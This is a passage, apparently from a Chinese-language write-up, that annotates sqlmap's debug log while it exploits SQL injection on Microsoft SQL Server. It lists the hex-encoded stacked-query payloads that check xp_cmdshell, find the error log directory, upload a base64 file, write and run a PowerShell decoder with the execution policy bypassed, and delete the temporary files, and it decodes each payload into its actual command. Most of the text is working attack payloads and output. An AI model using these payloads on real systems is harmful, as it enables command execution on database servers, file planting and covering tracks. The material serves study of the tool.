[15:52:30] [PAYLOAD] xxxxx';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[15:52:30] [INFO] testing if xp_cmdshell extended procedure is usable
[15:52:30] [PAYLOAD] xxxxx';DECLARE @umst VARCHAR(8000);SET @umst=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @umst--
[15:52:30] [PAYLOAD] xxxxx' AND 7646 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(data) AS NVARCHAR(4000)),CHAR(32))
FROM sqlmapoutput)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- JgAK
[15:52:30] [INFO] the SQL query used returns 1 entries
[15:52:30] [PAYLOAD] xxxxx' AND 8217 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapoutput WHERE id NOT IN (SELECT TOP 0 id FROM sqlmapoutput ORDER BY id) ORDER BY id)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(1
13)))-- zCxp
[15:52:30] [DEBUG] performed 2 queries in 0.12 seconds
[15:52:30] [PAYLOAD] xxxxx';DELETE FROM sqlmapoutput--
[15:52:30] [INFO] xp_cmdshell extended procedure is usable

然后会查找MSSQL的日志目录,实际执行查询是:

select SERVERPROPERTY('ErrorLogFileName')
[15:52:30] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output
[15:52:30] [PAYLOAD] xxxxx' AND 9706 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- weXH
[15:52:30] [INFO] retrieved: E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\ERRORLOG
[15:52:30] [DEBUG] performed 1 queries in 0.03 seconds
[15:52:30] [DEBUG] going to use 'E:/Program Files/Microsoft SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Log' as temporary files directory

写入文件到Log目录

[15:52:30] [INFO] using PowerShell to write the binary file content to file 'C:\666.txt'
[15:52:30] [DEBUG] uploading the base64-encoded file to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt, please wait..
[15:52:30] [PAYLOAD] xxxxx';DECLARE @dsqz VARCHAR(8000);SET @dsqz=0x6563686f205347566f5a5445794d7a51314e673d3d203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e74787422;EXEC master..xp_cmdshell @dsqz--

实际执行的命令是:

echo SGVoZTEyMzQ1Ng== >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"

然后使用Powershell解码Base64文件,首先写入powershell脚本

[15:52:30] [DEBUG] uploading the PowerShell base64-decoding script to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1
[15:52:30] [PAYLOAD] xxxxx';DECLARE @iumo VARCHAR(8000);SET @iumo=0x6563686f2024426173653634203d204765742d436f6e74656e74202d506174682022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e747874223b2024426173653634203d2024426173653634202d7265706c616365202260747c606e7c6072222c22223b2024436f6e74656e74203d205b53797374656d2e436f6e766572745d3a3a46726f6d426173653634537472696e672824426173653634293b205365742d436f6e74656e74202d506174682022433a5c3636362e74787422202d56616c75652024436f6e74656e74202d456e636f64696e672042797465203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @iumo--
[15:52:30] [DEBUG] executing the PowerShell base64-decoding script to write the C:\666.txt file, please wait..

实际执行的是

echo $Base64 = Get-Content -Path "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"; $Base64 = $Base64 -replace "`t|`n|`r",""; $Content = [System.Convert]::FromBase64String($Base64); Set-Content -Path "C:\666.txt" -Value $Content -Encoding Byte >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

然后执行该脚本,并删除遗留文件。

[15:52:30] [PAYLOAD] xxxxx';DECLARE @wpll VARCHAR(8000);SET @wpll=0x706f7765727368656c6c202d457865637574696f6e506f6c69637920427950617373202d46696c652022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e7073312220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e7478742220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @wpll--

实际执行的是

powershell -ExecutionPolicy ByPass -File "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"